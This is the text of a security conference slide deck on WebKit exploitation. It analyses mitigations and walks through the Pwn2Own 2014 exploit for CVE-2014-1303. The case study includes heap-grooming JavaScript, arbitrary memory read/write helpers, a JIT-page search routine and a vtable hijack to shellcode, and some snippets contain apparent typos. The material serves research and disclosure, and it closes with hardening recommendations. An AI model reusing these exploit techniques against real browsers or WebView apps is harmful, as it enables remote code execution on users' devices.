WEBKIT EVERYWHERE: SECURE OR NOT?

Liang Chen
@chenliang0817
@K33nTeam
Agenda

• WebKit Introduction

• WebKit security features & Exploitation mitigation

• Case study (CVE-2014-1303 Pwn2Own 2014)

• Future & improvement
Who am I?

- Chief Security Researcher at KeenTeam
- White Hat (Of course)
- Specialized in browser advanced exploitation
- Pwn2Own winner:
  - Winner of HP Mobile Pwn2Own 2013, iPhone Safari category
  - Winner of HP Pwn2Own 2014, Mac Safari category
Part 1: WebKit Introduction
Background

• Open source Web Browser rendering engine
  – Main site: http://www.webkit.org

• Trunk & Branch difference
  – Trunk: Introduce new features, update frequently
    • http://trac.webkit.org/browser/trunk
  – Branch: Stable, less updates, used by Safari
    • http://trac.webkit.org/browser/branches

• Work closely with JS engine (V8 or JSC, good news to exploiter)

• Most popular rendering engines in the earth!
WEBKIT EVERYWHERE

Browsers:
- Safari (Mac OSX, iOS)
- Chrome (Now Blink)

SNS & IM Mobile Apps:
- Facebook
- Twitter
- WeChat

Apple Apps (Mac OSX & iOS):
- Mail
- Dashboard

Other WebView Apps:
- Paypal Mobile
- Youtube

A single bug can destroy all
Historical issues

- DOS
- UXSS
- RCE
  - Logic
    - Almost extinct
  - Memory Corruption
    - Still exists, hard to kill all
    - Possible to pwn the whole device 😊
    - Main focus in this presentation
Memory Corruption

- Categories
  - Heap Overflow
  - Type Confusion
  - UAF

- Real cases
  - Nils Pwn2Own 2013:
  - Pinkie Pie:
    - http://scarybeastsecurity.blogspot.co.uk/2013/02/exploiting-64-bit-linux-like-boss.html
Part 2: WebKit security features & exploitation mitigation
Heap Arena

• **Goal**
  - Use isolated heap to manage memory which needs to be frequently allocated/freed

• **RenderObject**
  - Elements of a render tree (RenderImage, RenderButton, etc.)
  - Updated when render tree layout is changed
  - Contribute for 90%+ WebKit UAFs

• **RenderArena**
  - Isolated heap to allocate RenderObject
RenderArena internals

- RenderArena object created for each document

```cpp
void Document::attach(const AttachContext& context)
{
    ASSERT(!attached());
    ASSERT(!m_inPageCache);
    ASSERT(!m_axObjectCache || this != topDocument());

    if (!m_renderArena)
        m_renderArena = RenderArena::create();

    // Create the rendering tree
    setRenderer(new (m_renderArena.get()) RenderView(this));
    ...
```
RenderArena internals

- RenderArena object maintains a freelist array based on size

```
m_recyclers[2]
```

Next 8 bytes Next 8 bytes Next 8 bytes

```
m_recyclers[3]
```

Next 16 bytes Next 16 bytes Next 16 bytes

- LIFO when allocating RenderObject
RenderArena: From exploiter’s view

- Overwrite the “next” pointer to a controlled buffer (Outside the Arena)
- Can cause the buffer pointer to be re-used by a new RenderObject
- Leak vtable & RCE
- Reference: “Exploiting A Coalmine” by Georg Wicherski
RenderArena enhancement

• “Next” pointer is XORed by random value

```c
static void* MaskPtr(void* p, uintptr_t mask)
{
    return reinterpret_cast<void*>(reinterpret_cast<uintptr_t>(p) ^ mask);
}
```

```c
void RenderArena::free(size_t size, void* ptr)
{
    ...
    // Ensure we have correct alignment for pointers. Important for Tru64.
    size = ROUNDUP(size, sizeof(void*));

    const size_t index = size >> kRecyclerShift;
    void* currentTop = m_recyclers[index];
    m_recyclers[index] = ptr;
    *((void**)ptr) = MaskPtr(currentTop, m_mask);
    ...}
```

Killed almost all exploits in RenderArena 😞

• WebKit Trunk doesn’t implement RenderArena
• Some 3rd party WebView App still exploitable
GC mechanism

- No explicit GC call in JSC/V8
  - Number Heap is abandoned (Charlie Millier’s approach)

- Heap::collectAllGarbage can do the job (JSC specific)
  - But it is never triggered

- On iOS/Android:
  - GC on specific sized object can be triggered if too many allocation requests take place

- On Mac Safari 7:
  - Really hard to stably trigger even if all memory is exhausted

- Really bad news for exploiters 😞
Trigger GC: Workaround

- For debugging purpose, add the following line and compile:

```cpp
EncodedJSValue JSC_HOST_CALL globalFuncParseFloat(ExecState* exec)
{
    //exec->vm()->heap.collectAllGarbage();
    return JSValue::encode(jsNumber(parseFloat(exec->argument(0).toString(exec)->value(exec))));
}
```

- GC can be triggered by calling parseFloat function in JS

- Not for real world exploit
Trigger GC: Workaround

- Create holes and fill
  - Ian Beer’s approach
  - Can resolve most of heap fengshui issues
  - Not able to free objects (necessary when we need to have a vtable object to leak address, and replace it with another object to do further stuff)

- JS Controlled Free
  - Will introduce later

```javascript
function doNoisyThing(){...
  var arr = []
  arr.push({toString: doNoisyThing})
  for(var i = 1; i < 0x1a0/8;i++){
    arr.push(""");
  }
  var a = alloc(0x1a0 - 0x20, 'A');
  var b = alloc(0x1a0 - 0x20, 'B');
  arr.join(); // will call doNoisyThing
  var c = document.createElement("HTMLLinkElement"); // 0x1a0 bytes
```

1. Allocated by doNoisyThing
2. Freed after doNoisyThing call
3. Fill HTMLLinkElement object
• Not an advanced technology now

• On iOS, ASLR is weak
  – All system libraries share a single base address (dyld_shared_cache)
  – Implication: leaking a single WebCore vtable address means all module base is leaked
ASLR on Mac OSX

• One module, two randomized base
  – .DATA base and .TEXT base:

• Vtable address exists in .DATA,
  – Leak vtable != defeat ASLR

• Arbitrary read/write needs to achieve before ROP to get .TEXT base
• Also not advanced technology
  – ROP is needed to bypass DEP
• JIT RWX page exists
• On Mac Safari 7, 128MB JIT page is allocated by default
  – JIT page address is not fully randomized

(llldb) shell vmmmap 85330 | grep JIT
JS JIT generated code 000050a88a600000-000050a88a601000 [4K] ---/rw SM=NUL
JS JIT generated code 000050a8ca601000-000050a8ca602000 [4K] ---/rw SM=NUL
JS JIT generated code 000050a88a601000-000050a892600000 [128.0M] rw/rwx SM=PRV
JS JIT generated code 000050a892600000-000050a8c2600000 [768.0M] rw/rwx SM=NUL reserved VM address space (unallocated)
JS JIT generated code 000050a8c2600000-000050a8ca601000 [128.0M] rw/rwx SM=PRV
Sandbox architecture

• Apple Sandbox
  – Mac OS X
    • Rule specified in
      /System/Library/PrivateFrameworks/WebKit2.framework/Versions/A/Resources/com.apple.WebProcess.sb
  – iOS Safari

• Android sandbox

• App specific sandbox
  – Chrome sandbox
Native 64bit App

• Exploiter’s nightmare
  – Especially for Mac OS/iPhone 5s+
  – Hard to spray the heap (large address space)

• Solution
  • Avoid heap spraying
It is Era of Vulnerability-Dependent Exploitation

Difficult, but NOT impossible…
Part 3: Case study (CVE-2014-1303 Pwn2Own 2014)
CSS selectors are patterns used to select the elements you want to style.

Can be created by the following code:

```html
<style>
  html, em:nth-child(5) {
    height: 500px
  }
</style>
```

An array of CSSSelector elements will be created (0x10 * 2)
The CSSSelectorList can be mutated later on

This will cause a new array of CSSSelector elements created
- In `WebCore::CSSParser::parseSelector`
- `a` makes 0x10 * 1 sized allocation by `WTF::fastMalloc`
When RuleSet::addRule is called, selectorIndex is 1 (The SECOND CSSSelector)

- We only have ONE CSSSelector element in the array!!
- Rules[i].selectorIndex is still 1, should be 0.
CVE-2014-1303 : Vulnerability

- OOB access in WebCore::CSSSelector::specificity

(lldb) bt
frame #0: 0x00007fff8a9ed7e0
WebCore::WebCore::CSSSelector::specificity() const
  frame #1: 0x00007fff8a9ed0d2
WebCore::WebCore::RuleData::RuleData(WebCore::StyleRule*,
  unsigned int, unsigned int, WebCore::AddRuleFlags) + 146
  frame #2: 0x00007fff8a9ecc8f
WebCore::WebCore::RuleSet::addRule(WebCore::StyleRule*,
  unsigned int, WebCore::AddRuleFlags) + 63
  frame #3: 0x00007fff8a9fa903
WebCore::WebCore::makeRuleSet(WTF::Vector<
  WebCore::RuleFeature, 0UL, WTF::CrashOnOverflow> const& + 291
  frame #4: 0x00007fff8a9fa328
WebCore::WebCore::DocumentRuleSets::collectFeatures(bool,
  WebCore::StyleScopeResolver*) + 152

(lldb) x/10xg $rdi-0x10
0x10a81d6c0: 0xbadbeef3bac30008 0x000000010a884848
0x10a81d6d0: 0xbadbeef3bac30008 0x000000010a850078
0x10a81d6e0: 0xbadbeef3bac30008 0x000000010a8662d0
0x10a81d6f0: 0x0000001400000006 0x0000000000000002c
0x10a81d700: 0x0000000100000001 0x00000010a8b1e00

CSSSelector array(1 element)

CSSSelector “this” pointer pointers to here!!

- CSSSelector::specificity() looks like an OOB read. Not useful????
A deeper look

- **CSSSelector structure**
  - A 21-bit value (Aligned to 8 bytes) followed by a 8-byte pointer
OOD Write? Yes!

- Only the 8th bit of the 21-bit value can be modified from 0 to 1
- Whether to write or not depends on its original value

Pretty restrictive!!
Restrictive 1-bit write

- 1-bit write can be reached when...

All others achieved, set the bit to 1!!!
Restrictive 1-bit write

• Possible options:
  – 0x40 -> 0xC0 (Seems good)
  – 0x40040 -> 0x400c0
  – Etc.

• Other restrictions
  – The *(unsigned long *)((char *)CSSSelector+8) must be either 0 or a valid pointer.
  – If it is a valid pointer, other checks will be performed (not good)

• Where we are
  – Restrictive 1-bit write achieved
Exploit: What to overwrite?

- WTF::StringImpl?
  - Change m_refCount from 0x40 -> 0xC0?
    - Not useful unless we can make it to a smaller value (Free it earlier)
  - Make m_length bigger
    - Not possible since it is located at higher 4-byte position

Not a Good Option... 😞
Exploit: What to overwrite?

- WTF::ArrayBuffer?

- Covert restrictive 1-bit write to additional 0x80 bytes read/write (from 0x40 -> 0xC0)
  - Perfect!

- Good candidate
  - Well aligned at 0x10
  - 0x20 in size (Two CSSSelector elements)
  - Can be 0 when no ArrayBufferView is assigned
Typed Array Internals

• When no ArrayBufferView is assigned
Typed Array Internals

• When ArrayBufferView is assigned

• Changing ArrayBufferView::m_buffer pointer can achieve Arbitrary Address Read/Write (AAR/AAW)
  – The size is 0x40 !!
Exploitation: Overall strategy

• 1-bit OOB write
  – Trigger the vulnerability to change `ArrayBuffer::m_sizeInBytes` from 0x40 → 0xC0

• 0x80 OOB Read/Write
  – Leak WebCore vtable address to obtain WebCore data section base

• Arbitrary Address Read/Write (AAR/AAW)
  – Leak WebCore text section base

• Remote Code Execution
  – ROP, or better solution?
Exploitation: From 1-bit write to 0x80 Read/Write

- Craft memory layout

0x20 Chunk:
- CSSSelector Array (2 elems)
- 0x20 ArrayBuffer
- 0x20 ArrayBuffer
- 0x20 ArrayBuffer
- 0x20 ArrayBuffer

SelectorIndex pointer to &m_sizeInBytes

0x40 Chunk:
- ArrayBuffer::m_data
- 0x40 WebCoreObject
- ArrayBuffer::m_data
- 0x40 WebCoreObject
- ArrayBuffer::m_data

Overflowed...
Vtable leaked...

blackhat
EUROPE 2014
Exploitation: From 1-bit write to 0x80 Read/Write

- Something we forgot...
  - Process crashed immediately
- Root cause
  - Several similar loops after 1-bit write
  - Traverse the CSSSelector array until tagHistory() is 0

  ```cpp
  for (const CSSSelector* selector = this; selector; selector = selector->tagHistory()) {
    temp = total + selector->specificityForOneSelector();
    // Clamp each component to its min in the case of overflow.
    if (((temp & idMask) < (total & idMask))
        total = idMask;
    else if (((temp & classMask) < (total & classMask))
        total = classMask;
    else if (((temp & elementMask) < (total & elementMask))
        total = elementMask;
    else
        total = temp;
  }
  ```

- Need to put another fake CSSSelector right after and set m_isLastInTagHistory to 1 to quit the loop ASAP
- m_isLastInTagHistory is 18th bit

```cpp
const CSSSelector* tagHistory() const {
  return m_isLastInTagHistory ? 0 : const_cast<CSSSelector*>(this + 1);
}
```
Exploitation: From 1-bit write to 0x80 Read/Write

- Adjust the layout: to put an ArrayBuffer with m_sizeInBytes = 0x20000 (m_isLastInTagHistory set)

  0x20 Chunk:
  - CSSSelector Array (2 elems)
  - 0x20 ArrayBuffer(0x40)
  - 0x20 ArrayBuffer(0x20000)
  - 0x20 ArrayBuffer(0x40)
  - 0x20 ArrayBuffer(0x20000)

  0x40 Chunk:
  - SelectorIndex pointer to &m_sizeInBytes
  - ArrayBuffer::m_data
  - 0x40 WebCoreObject
  - ArrayBuffer::m_data
  - 0x40 WebCoreObject
  - ArrayBuffer::m_data

  0x20000 Chunk:
  - ArrayBuffer::m_data
  - ArrayBuffer::m_data
  - ArrayBuffer::m_data
  - ArrayBuffer::m_data
  - ArrayBuffer::m_data

- 0x20000 sized buffer should not be wasted just to avoid crash 😞
  - Can be used for ROP?
Exploitation: From 0x80 RW to AAR/AAW

- **What 0x40 WebCore Object to choose?**
  - Contains vector element
    - Can modify the pointer to achieve AAR
  - Candidate: HTMLLinkElement, SVGTextElement, SourceBufferList, etc.
  - None is 0x40 😊

- **Option 2:**
  - We only need the 0x40 WebCore object containing vtable
  - After leaking the vtable of the 0x40 WebCore object, free it and fill it with ArrayBufferView at same address !!!
  - Then we can change ArrayBufferView::m_baseAddress pointer for AAR/AAW
  - But... How to free that 0x40 WebCore object, **WITHOUT GC interface ???**
Exploitation: JS Controlled Free

- JavaScript controlled free
  - For some WebCore objects, the allocation can be controlled by JavaScript

- Example: WebCore::NumberInputType
  - It’s 0x40 😊

```javascript
var m_input = document.createElement("input");
m_input.type = "number";
m_input.type = "";
</script>
```
Exploitation: From 0x80 RW to AAR/AAW

• Now with JS controlled free, our memory layout is:

0x20 Chunk:

- CSSSelector Array (2 elems)
- SelectorIndex pointer to &m_sizeInBytes

0x40 Chunk:

- ArrayBuffer: m_data
- NumberInputElement

0x20000 Chunk:

- ArrayBuffer: m_data
- Freed

• After freeing NumberInputElement, 0x40 chunk becomes:

0x40 Chunk:

- ArrayBuffer: m_data
- Freed
Exploitation: From 0x80 RW to AAR/AAW

- Assign ArrayBufferView to those 0x20000 ArrayBuffer
  - By `arr1[i] = new Uint32Array(arr[i]);`

Before we move to the next step, we need:
  - Obtain `ArrayBufferView::m_baseAddress`

![Diagram showing data structures and memory layout](image-url)
Exploitation: From 0x80 RW to AAR/AAW

- AAR

```javascript
function read8(addr_low, addr_high)
{
    arr_c0[0x14] = addr_low; //overwrite ArrayBufferView::m_baseAddress
    arr_c0[0x15] = addr_high; //overwrite ArrayBufferView::m_baseAddress
    var result = [arr1[controled_index][0], arr1[controled_index][1]]; //read
    arr_c0[0x14] = controlled_buffer_low; //recover ArrayBufferView::m_baseAddress
    arr_c0[0x15] = controlled_buffer_high; //recover ArrayBufferView::m_baseAddress
    return;
}
```

- AAW

```javascript
function write8(addr_low, addr_high, value_low, value_high)
{
    arr_c0[0x14] = addr_low; //overwrite ArrayBufferView::m_baseAddress
    arr_c0[0x15] = addr_high; //overwrite ArrayBufferView::m_baseAddress
    arr1[controled_index][0] = value_low;
    arr1[controled_index][1] = value_high;
    arr_c0[0x14] = controlled_buffer_low; //recover ArrayBufferView::m_baseAddress
    arr_c0[0x15] = controlled_buffer_high; //recover ArrayBufferView::m_baseAddress
    return;
}
```
Exploitation: HeapSprays are for the 99%

- Read vtable content
  - Leak WebCore .TEXT section base
  - Construct ROP gadget at the controlled 0x20000 buffer
- Since we know the address of the 0x20000 buffer
  - Change “vtable for WebCore’WTF::Uint32Array” to the controlled buffer pointer
  - Trigger the vtable call WTF::TypedArrayBase<unsigned int>::byteLength()

```c
arr_c0[0x10] = controlled_buffer_low;
arr_c0[0x11] = controlled_buffer_high;
arrI[controled_index].byteLength;
```
Exploitation: ROPs are for the 99%

- 128MB JIT page is allocated upon process creation

```plaintext
JS JIT generated code 00002c53c8601000-00002c53d060000 [128.0M] rwx/rwx SM=PRV
JS JIT generated code 00002c53d0600000-00002c540860000 [896.0M] rwx/rwx SM=NUL reserved VM address space (unallocated)
  _TEXT 00007fff8a956000-00007fff8a9e5000 [ 572K] r-x/r-x SM=COW
/System/Library/Frameworks/WebKit.framework/Versions/A/Frameworks/WebCore.framework/Versions/A/WebCore
  _TEXT 00007fff8a9e5000-00007fff8b7a5000 [ 13.8M] r-x/r-x SM=COW
/System/Library/Frameworks/WebKit.framework/Versions/A/Frameworks/WebCore.framework/Versions/A/WebCore
  _DATA 00007fff75ea4000-00007fff76000000 [ 1392K] rw-/rwx SM=COW
/System/Library/Frameworks/WebKit.framework/Versions/A/Frameworks/WebCore.framework/Versions/A/WebCore
  _DATA 00007fff76000000-00007fff76066000 [ 408K] rw-/rwx SM=COW
/System/Library/Frameworks/WebKit.framework/Versions/A/Frameworks/WebCore.framework/Versions/A/WebCore
```

- RWX is good
  - Copy shellcode and execute
Exploitation: ROPs are for the 99%

- How to find JIT page addr with AAR?
  - At JavaScriptCore`JSC::startOfFixedExecutableMemoryPool
  - Within JavaScriptCore .DATA section range

  ```
  (lldb) x/1xg 0x00007fff76a8a000+0x3d3b8
  0x7fff76ac73b8: 0x00002c53c8601000
  (lldb) image lookup --address 0x7fff76ac73b8
  Address: JavaScriptCore[0x0000000003b53b8] (JavaScriptCore.__DATA.__common + 24)
  Summary: JavaScriptCore JSC::startOfFixedExecutableMemoryPool
  ```

- Dirty solution
  - For specific Safari version, startOfFixedExecutableMemoryPool Offset is a fixed value.
  - For example, read the value at ( JavaScriptCore.DATA + 0x3d3b8 )

- Can we have a better solution? (Not relying on offset)
Exploitation : ROPs are for the 99%

- Look at the JIT address again:

  - Different with .TEXT, .DATA, and heap address
  - Try searching the JavaScriptCore .DATA section to find JIT page pattern?
  - Sound like unrealistic, but let’s try
How JIT pages are allocated?
- Address is randomized
- Leaves a good pattern to search on DARWIN x64

Address base range:
- Minimum 0x200000000000
- Maximum 0x5fffffff0000
- The red part can only be 0, 2, 4, 6, 8, a, c, e
- Least 20 bits are all 0
- startOfFixedExecutableMemoryPool value is "<base value> | 0x1000"
Exploitation: ROPs are for the 99%

- Search JavaScriptCore .DATA section and find the pattern

```javascript
function searchJITPage(jsc_addr_low, jsc_addr_high) {
  var j = 0;
  var k = 0;
  while(1) {
    write8(arr_c0[0x18] + 0x8, arr_c0[0x19], jsc_addr_low + k, jsc_addr_high); // ArrayBuffer::m_data should be adjusted
    arr_c0[0x18] = jsc_addr_low = k;
    arr_c0[0x19] = jsc_addr_high;
    var tmp_array = arr[controled_index].subarray(0, 0x8000); // use subarray to avoid JS loop optimization
    for (j = 0; j < 0x20000/4; j++)
      if (tmp_array[j+1] >= 0x2000 && tmp_array[j+1] <= 0x5fff)
        if (((tmp_array[j][0x20] & 0x1) == 0 && (tmp_array[j][0x0fff] == 0x1000))
          //alert(tmp_array[j+1].toString(16)+tmp_array[j].toString(16));
          return [tmp_array[j], tmp_array[j+1]];
  }
  return 1;
}
```

- Subarray trick to avoid JS loop optimization (make you not able to search memory with ArrayBufferView::baseAddress modified)

- ArrayBuffer::m_data should be adjusted since subarray share the same buffer with parent ArrayBuffer
Exploitation : ROPs are for the 99%

- Finally code execution is obtained 😊

```plaintext
(lldb) ni
Process 2850 stopped
* thread #1: tid = 0x2c5cd, 0x00007fff8e9d289b WebCore::WebCore::jsArrayBufferViewByteLength(JSC::ExecState*, JSC::JSValue, JSC::PropertyName) + 11, queue = 'com.apple.main-thread', stop reason = instruction step over
   frame #0: 0x00007fff8e9d289b WebCore::WebCore::jsArrayBufferViewByteLength(JSC::ExecState*, JSC::JSValue, JSC::PropertyName) + 11
WebCore::WebCore::jsArrayBufferViewByteLength(JSC::ExecState*, JSC::JSValue, JSC::PropertyName) + 11:
 0x7fff8e9d289b: call qword ptr [rax + 0x8]
 0x7fff8e9d289e: test eax, eax
 0x7fff8e9d28a0: js 0x7fff8e9d28b3 ; WebCore::WebCore::jsArrayBufferViewByteLength(JSC::ExecState*, JSC::JSValue, JSC::PropertyName) + 35
 0x7fff8e9d28a2: mov ecx, eax
(lldb) si
Process 2850 stopped
* thread #1: tid = 0x2c5cd, 0x0000418f82c13300, queue = 'com.apple.main-thread', stop reason = instruction step into
  frame #0: 0x0000418f82c13300
 0x418f82c13300: nop
 0x418f82c13301: nop
 0x418f82c13302: nop
 0x418f82c13303: nop
```
Summary of WebKit exploitation

• Memory corruption vulnerabilities
  – Vulnerability can impact on all WebKit Apps
  – Will keep existing in a long term
  – Hard to exploit, instable
  – Different exploit needed on different platforms

• Vulnerability based exploitation (memory corruption issues)
  – More and more dependent on vulnerability itself
  – Unique exploitation techniques needed per vulnerability
  – Higher requirements on familiarity of WebKit internals
    • Size of typical objects, on different platforms
    • Object structure and handling workflow, on different platforms
Part 4: Future & improvement
一切事物均从因缘而生，有因必有果
Everything that has a beginning of its existence has a cause of its existence...
Future & Improvement: To Apple

- Introduce more exploitation mitigation techniques
  - Put key objects that are frequently used by exploiters (String, Typed array, etc) to separate Heap Arena
  - Memory allocation randomization (especially for small memory allocation)
  - Reduce the number of objects with "JS controlled free" feature (a balance between security vs performance)
  - Make JIT page harder to guess (Especially for DARWIN x64)
Future & Improvement : To Apple & Google

• Merge security fixes into all code branches
  – Many WebKit vulnerabilities exist because of not merging on time
  – For example, a Chrome vulnerability was fixed by Google. But latest WebView remains vulnerable
Future & Improvement : To OS & OEM & App vender

• Update WebKit libraries frequently
  – Most WebKit Apps (PC and mobile device) use system WebKit/WebView library
  – Security on those Apps largely depend on the security of system WebKit/WebView library
  – On iOS, Apple rarely releases new updates just because of WebKit. Leave a relatively long time window to exploit N-days for APT guys
  – On Android, most OEM vendors won’t update WebKit libraries via OTA, causing some N-days being exploited for years

• To App vender who use independent WebKit libraries
  – Mainly for Browser Apps
  – Keep using latest WebKit/WebView version
But... WebKit is no doubt the best and most secure rendering engine in the world!
Acknowledgements

- Wushi
- Yu Wang
- AB
- Promised_Lu
- Flanker
- Abdul Hariri
- Ian Beer
- Ga1ios
- 古河
- exp-sky
- Demi6od
- Chris Evans
- Mark Dowd
Thank You